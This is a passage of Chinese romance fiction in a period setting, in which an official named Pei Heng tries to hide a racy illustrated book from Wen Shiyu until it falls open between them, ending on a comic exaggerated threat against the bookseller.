这才想起方才在书肆里,掌柜从柜台底下摸出这本书时那副神神秘秘的模样,压低了嗓子说这是难得的好书,保管看了不亏,还要价不菲。
果然,在看了书里的内容之后,一切都说得通了。
他指尖颤了颤,鬼使神差地一页一页往后翻,书中字句露骨,画面旖旎,一些地点和姿势简直称得上匪夷所思,令人咋舌,看得他心绪大乱。
“大人。”
温时玉的声音突然从门口传来,裴珩浑身一震,险些失手将书扔出去,他慌忙把书合上,紧紧捂在怀里。
温时玉有些奇怪,方才叫了几声,他都没反应,看着他有些异样的神色,又瞥到桌上的话本,她笑道:“原来大人也爱看这些闲书。”
裴珩清了清嗓子,把怀里那本书往袖子里塞了塞。
可惜袖口太窄,塞不进去。
他只好继续捂着,干巴巴地应了一声:“回来了。”
“都有什么好看的?”温时玉一边翻一边问,看到裴珩手里的那本,“大人看的是什么?”
“没什么,”裴珩将那本书捂得更紧,语气平平,“这本没什么意思。”
温时玉觑他一眼:“不信,没意思方才大人还看得入迷。”
裴珩脸色白一阵红一阵,直到温时玉朝他伸手讨要,他忙站起身,起来后有惊觉有什么不对,又猛地坐下。
“这本……这本志怪,内容有些骇人,不适合你。”
他不提志怪还好,一提志怪,温时玉顿时来了精神,她最爱看这些神鬼之事。
“我最爱看这个了,再说了,这些书不本来就是大人给我买的吗?”她一边说一边伸手去他怀里拿。
顾忌着她手上的伤,裴珩不敢执意与她争抢,都没拿稳,书册径直从二人手中滑落,掉在了在地上。
裴珩忙弯腰去捡,温时玉也跟着蹲下身,二人手指齐齐停在书页上方。
书册落地,恰好翻开——花红柳绿的园囿之中,一对白花花的人影相拥纠缠,极尽缠绵。
温时玉怔怔地看着。
没看错的话,这是……这是……
裴珩认命地闭了闭眼。
他明日要去杀了那个卖书的。